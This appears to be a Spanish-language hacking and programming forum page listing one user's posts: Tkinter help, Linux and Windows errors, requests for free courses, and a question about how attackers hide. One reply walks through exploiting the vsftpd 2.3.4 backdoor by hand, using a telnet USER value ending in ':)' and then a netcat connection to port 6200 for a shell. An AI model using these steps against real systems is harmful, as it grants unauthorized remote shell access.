elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 27
11  Sistemas Operativos / GNU/Linux / Donde puedo encontrar este curso gratis? en: 7 Octubre 2022, 09:19 am
Hola a todos, como están?

Vi un curso el cual me llamo bastante la atención pero en estos momento no cuento con el dinero como para pagar una sub a masterMind, alguien sabe donde puedo encontrar el curso "Linux De noob a Pro" con antonio sarosi gratis?

 Gracias a todos!
12  Programación / Scripting / Re: Ayuda Tkinder en: 12 Septiembre 2022, 06:44 am
No se ve una imagen si es que la pusiste, por otro lado no es necesario tanto código, recrea una simple ventana con el código de un botón de como lo estás creando y será mucho más simple ayudarte

Edito:
un código sin borde

Código
  1. import tkinter as tk
  2.  
  3. root = tk.Tk()
  4. root.config(width=300, height=200)
  5. root.title("Botón en Tk")
  6. boton = tk.Button(text="¡Hola, mundo!",bd=0)
  7. boton.place(x=50, y=50)
  8. root.mainloop()

Tanto código por el motivo de que cada uno tiene una imagen. Ya arregle el tema de que no se veía la imagen
13  Programación / Scripting / Re: Ayuda Tkinder en: 12 Septiembre 2022, 06:43 am
Hola, estoy diseñando el front-end de un programa en python, y quería saber como le puedo quitar el borde grueso de este botón



Ese borde gris que le queda, no tengo ni idea como quitarlo, ya probe de todo
dejo codigo (no de todo, solo de los botones):
Código:
 img_nuevo       = PhotoImage(file=path_images+'/new.png')
        img_save        = PhotoImage(file=path_images+'/save.png')
        img_save_new    = PhotoImage(file=path_images+'/savenew.png')
        img_borrar      = PhotoImage(file=path_images+'/recyfull.png')
        img_cancelar    = PhotoImage(file=path_images+'/undo.png')
        img_primero     = PhotoImage(file=path_images+'/frsrec_s.png')
        img_anterior    = PhotoImage(file=path_images+'/prvrec_s.png')
        img_siguiente   = PhotoImage(file=path_images+'/nxtrec_s.png')
        img_ultimo      = PhotoImage(file=path_images+'/lstrec_s.png')
        img_buscar      = PhotoImage(file=path_images+'/find.png')
        img_imprimir    = PhotoImage(file=path_images+'/print.png')
        img_salir       = PhotoImage(file=path_images+'/exit.png')


        style = ttk.Style()
        style.configure('TButton', background='silver', height=29, width=45)
        global accion
        accion = StringVar()


        self.frame_menu_acciones = Frame(self.master, bg = color_windows_top,relief='flat')#, text = accion
        self.frame_menu_acciones.pack(padx=23, pady=5, expand=False,side=LEFT, fill=BOTH)


        
        self.frame_menu_cambios = Frame(self.master, bg =color_windows_top, relief='flat')#, text = accion
        self.frame_menu_cambios.pack(padx=10, pady=25, expand=False,side=BOTTOM, fill=X)
        #self.frame_menu_cambios['text'] = 'Menu Acciones'


        
        ##################################################################################################
        
        self.boton_nuevo = ttk.Button(self.frame_menu_acciones, image=img_nuevo )#, height=29)
        self.boton_nuevo.image = img_nuevo
        self.boton_nuevo.grid(row=0, column=0,padx=(10,1), pady=4)
        #self.boton_nuevo.bind('<Motion>', self.mostrar_accion)
        
        self.boton_grabar = ttk.Button(self.frame_menu_acciones, image=img_save)#, height=29)
        self.boton_grabar.grid(row=1, column=0,padx=(10,1),pady=4)
        self.boton_grabar.image = img_save
        #self.boton_grabar.bind('<Motion>', self.mostrar_accion)

        self.boton_grabar_nuevo = ttk.Button(self.frame_menu_acciones, image=img_save_new)#, height=29)
        self.boton_grabar_nuevo.image = img_save_new
        self.boton_grabar_nuevo.grid(row=2, column=0,padx=(10,1),pady=4)
        #self.boton_grabar_nuevo.bind('<Motion>', self.mostrar_accion)

        self.boton_borrar = ttk.Button(self.frame_menu_acciones, image=img_borrar)#, height=29)
        self.boton_borrar.image = img_borrar
        self.boton_borrar.grid(row=3, column=0,padx=(10,1),pady=4)
        #self.boton_borrar.bind('<Motion>', self.mostrar_accion)

        self.boton_cancelar = ttk.Button(self.frame_menu_acciones, image=img_cancelar)#, height=29)
        self.boton_cancelar.image = img_cancelar
        self.boton_cancelar.grid(row=4, column=0,padx=(10,1), pady=4)
       # self.boton_cancelar.bind('<Motion>', self.mostrar_accion)
      

        ##################################################################################################
        
        self.boton_buscar = ttk.Button(self.frame_menu_cambios, image=img_buscar)#, height=29)
        self.boton_buscar.image = img_buscar
        self.boton_buscar.grid(row=0, column=0, padx=0, pady=4)
        #self.boton_buscar.bind('<Motion>', self.mostrar_accion)

        self.boton_imprimir = ttk.Button(self.frame_menu_cambios, image=img_imprimir)#, height=29)
        self.boton_imprimir.image = img_imprimir
        self.boton_imprimir.grid(row=0, column=1, padx=10, pady=4)
        #self.boton_imprimir.bind('<Motion>', self.mostrar_accion)

        self.boton_primero = ttk.Button(self.frame_menu_cambios, image=img_primero)#, height=29)
        self.boton_primero.image = img_primero
        self.boton_primero.grid(row=0, column=2, padx=(50,0), pady=4)
        #self.primero.bind('<Button-1>', self.primero_click)
        #self.boton_primero.bind('<Motion>', self.mostrar_accion)

        self.boton_anterior = ttk.Button(self.frame_menu_cambios,image=img_anterior)#, height=29)
        self.boton_anterior.image = img_anterior
        self.boton_anterior.grid(row=0, column=3, padx=3, pady=4)
        #self.boton_anterior.bind('<Motion>', self.mostrar_accion)

        self.boton_siguiente = ttk.Button(self.frame_menu_cambios, image=img_siguiente)#, height=29)
        self.boton_siguiente.image = img_siguiente
        self.boton_siguiente.grid(row=0, column=4, padx=3, pady=2)
        #self.boton_siguiente.bind('<Motion>', self.mostrar_accion)

        self.boton_ultimo = ttk.Button(self.frame_menu_cambios, image=img_ultimo)#, height=29)
        self.boton_ultimo.image = img_ultimo
        self.boton_ultimo.grid(row=0, column=5, padx=(0,210), pady=4)
        #self.boton_ultimo.bind('<Motion>', self.mostrar_accion)
        
        ####################################################################################################
      

        

        self.boton_salir = ttk.Button(self.frame_menu_cambios, image=img_salir, command=self.cerrar_ventana)#, height=29)
        self.boton_salir.image = img_salir
        self.boton_salir.grid(row=0, column=13, padx=3, pady=4)
        #self.boton_salir.bind('<Motion>', self.mostrar_accion)
14  Programación / Scripting / Ayuda Tkinder en: 12 Septiembre 2022, 06:05 am
Hola, estoy diseñando el front-end de un programa en python, y quería saber como le puedo quitar el borde grueso de este botón



Ese borde gris que le queda, no tengo ni idea como quitarlo, ya probe de todo
dejo codigo (no de todo, solo de los botones):
Código:
 img_nuevo       = PhotoImage(file=path_images+'/new.png')
        img_save        = PhotoImage(file=path_images+'/save.png')
        img_save_new    = PhotoImage(file=path_images+'/savenew.png')
        img_borrar      = PhotoImage(file=path_images+'/recyfull.png')
        img_cancelar    = PhotoImage(file=path_images+'/undo.png')
        img_primero     = PhotoImage(file=path_images+'/frsrec_s.png')
        img_anterior    = PhotoImage(file=path_images+'/prvrec_s.png')
        img_siguiente   = PhotoImage(file=path_images+'/nxtrec_s.png')
        img_ultimo      = PhotoImage(file=path_images+'/lstrec_s.png')
        img_buscar      = PhotoImage(file=path_images+'/find.png')
        img_imprimir    = PhotoImage(file=path_images+'/print.png')
        img_salir       = PhotoImage(file=path_images+'/exit.png')


        style = ttk.Style()
        style.configure('TButton', background='silver', height=29, width=45)
        global accion
        accion = StringVar()


        self.frame_menu_acciones = Frame(self.master, bg = color_windows_top,relief='flat')#, text = accion
        self.frame_menu_acciones.pack(padx=23, pady=5, expand=False,side=LEFT, fill=BOTH)


        
        self.frame_menu_cambios = Frame(self.master, bg =color_windows_top, relief='flat')#, text = accion
        self.frame_menu_cambios.pack(padx=10, pady=25, expand=False,side=BOTTOM, fill=X)
        #self.frame_menu_cambios['text'] = 'Menu Acciones'


        
        ##################################################################################################
        
        self.boton_nuevo = ttk.Button(self.frame_menu_acciones, image=img_nuevo )#, height=29)
        self.boton_nuevo.image = img_nuevo
        self.boton_nuevo.grid(row=0, column=0,padx=(10,1), pady=4)
        #self.boton_nuevo.bind('<Motion>', self.mostrar_accion)
        
        self.boton_grabar = ttk.Button(self.frame_menu_acciones, image=img_save)#, height=29)
        self.boton_grabar.grid(row=1, column=0,padx=(10,1),pady=4)
        self.boton_grabar.image = img_save
        #self.boton_grabar.bind('<Motion>', self.mostrar_accion)

        self.boton_grabar_nuevo = ttk.Button(self.frame_menu_acciones, image=img_save_new)#, height=29)
        self.boton_grabar_nuevo.image = img_save_new
        self.boton_grabar_nuevo.grid(row=2, column=0,padx=(10,1),pady=4)
        #self.boton_grabar_nuevo.bind('<Motion>', self.mostrar_accion)

        self.boton_borrar = ttk.Button(self.frame_menu_acciones, image=img_borrar)#, height=29)
        self.boton_borrar.image = img_borrar
        self.boton_borrar.grid(row=3, column=0,padx=(10,1),pady=4)
        #self.boton_borrar.bind('<Motion>', self.mostrar_accion)

        self.boton_cancelar = ttk.Button(self.frame_menu_acciones, image=img_cancelar)#, height=29)
        self.boton_cancelar.image = img_cancelar
        self.boton_cancelar.grid(row=4, column=0,padx=(10,1), pady=4)
       # self.boton_cancelar.bind('<Motion>', self.mostrar_accion)
      

        ##################################################################################################
        
        self.boton_buscar = ttk.Button(self.frame_menu_cambios, image=img_buscar)#, height=29)
        self.boton_buscar.image = img_buscar
        self.boton_buscar.grid(row=0, column=0, padx=0, pady=4)
        #self.boton_buscar.bind('<Motion>', self.mostrar_accion)

        self.boton_imprimir = ttk.Button(self.frame_menu_cambios, image=img_imprimir)#, height=29)
        self.boton_imprimir.image = img_imprimir
        self.boton_imprimir.grid(row=0, column=1, padx=10, pady=4)
        #self.boton_imprimir.bind('<Motion>', self.mostrar_accion)

        self.boton_primero = ttk.Button(self.frame_menu_cambios, image=img_primero)#, height=29)
        self.boton_primero.image = img_primero
        self.boton_primero.grid(row=0, column=2, padx=(50,0), pady=4)
        #self.primero.bind('<Button-1>', self.primero_click)
        #self.boton_primero.bind('<Motion>', self.mostrar_accion)

        self.boton_anterior = ttk.Button(self.frame_menu_cambios,image=img_anterior)#, height=29)
        self.boton_anterior.image = img_anterior
        self.boton_anterior.grid(row=0, column=3, padx=3, pady=4)
        #self.boton_anterior.bind('<Motion>', self.mostrar_accion)

        self.boton_siguiente = ttk.Button(self.frame_menu_cambios, image=img_siguiente)#, height=29)
        self.boton_siguiente.image = img_siguiente
        self.boton_siguiente.grid(row=0, column=4, padx=3, pady=2)
        #self.boton_siguiente.bind('<Motion>', self.mostrar_accion)

        self.boton_ultimo = ttk.Button(self.frame_menu_cambios, image=img_ultimo)#, height=29)
        self.boton_ultimo.image = img_ultimo
        self.boton_ultimo.grid(row=0, column=5, padx=(0,210), pady=4)
        #self.boton_ultimo.bind('<Motion>', self.mostrar_accion)
        
        ####################################################################################################
      

        

        self.boton_salir = ttk.Button(self.frame_menu_cambios, image=img_salir, command=self.cerrar_ventana)#, height=29)
        self.boton_salir.image = img_salir
        self.boton_salir.grid(row=0, column=13, padx=3, pady=4)
        #self.boton_salir.bind('<Motion>', self.mostrar_accion)
15  Seguridad Informática / Hacking / Hackers y Maquinas virtuales en: 28 Agosto 2022, 23:06 pm
Hola a todos, como están?

Se ha hablado desde hace tiempo que hacer un hackeo desde una maquina virtual puede hacer al hacker completamente invisible.

Mi pregunta es: Es realmente esto así? que otros métodos usan los ciber-criminales para no ser detectados en sus ataques?



Gracias

Pd: Mis preguntas son con fines de aprender "El conocimiento es poder"
16  Programación / Desarrollo Web / [Ayuda] Curso Php en: 2 Agosto 2022, 01:10 am
Hola, como estan?

Estaba buscando algun link que sea de algun curso de php (Gratis claro), si alguien tiene o algo seria genial si me lo pudiese compartir seria genial.



Gracias.
17  Seguridad Informática / Hacking / Re: Metasploit - [*] Exploit completed, but no session was created. en: 23 Junio 2022, 02:49 am
Hola, usar Metasploit es aburrido (Te da todo pronto, solo disparas y listo)

Es mejor explotar esto de forma manual, te voy a explicar como:


1) Primero nos vamos a conectar por TelNet al puerto vsftpd de la maquina victima
Código:
 > telnet [ip de la maquina victima] [puerto donde este el vsftpd 2.3.4]

--------------------------------------------------------
2) Vamos a agarrar y hacer lo siguiente (Es muy importante poner el ": )" )
Código:
 > USER lo_que_quieras:) 
Código:
 > PASS otra_cosa 
--------------------------------------------------------

3)  Pones CTRL + ], con esto vas a lograr salir del telnet
Código:
 > ^] 

--------------------------------------------------------

4) Pones quit
Código:
 > telnet quit
--------------------------------------------------------

5)Finalmente, el exploit se ejecuta, despues de eso solo nos queda conectarnos a la backdoor  >:D
Código:
 > nc [ip de la maquina victima] 6200
(Puerto 6200, porque es el que tiene la backdoor)






18  Sistemas Operativos / GNU/Linux / Re: Problema con Snap [snap-update-ns failed with code 1] en: 10 Junio 2022, 18:42 pm
¿Existe la ruta?


Sip, la ruta existe.
19  Sistemas Operativos / GNU/Linux / Problema con Snap [snap-update-ns failed with code 1] en: 10 Junio 2022, 02:22 am
Hola a todos, estoy teniendo un problema con snap, al momento de instalar un progrma o algo similar funciona todo... Pero cuando reinicio la pc, y trato de ejecutar el programa me sale el siguiente error


Código:
> sudo /snap/bin/mysql-workbench-community
cannot change profile for the next exec call: No such file or directory
snap-update-ns failed with code 1


Alguien tiene idea de como puedo resolver esto?

Uso kali linux 5.10.0

--- Gracias!  ::)---
20  Sistemas Operativos / Windows / error fallo leyendo sector 0x5fa en: 30 Abril 2022, 06:11 am
Hola, estoy intentando iniciar Windows 10 pero al momento de hacerlo me sale

error fallo leyendo sector 0x5fa

Y no me deja entrar al Windows, tengo dualboot con Kali... En Kali me deja entrar perfectamente... Alguien tiene idea de lo que puede ser¿?
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 27
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines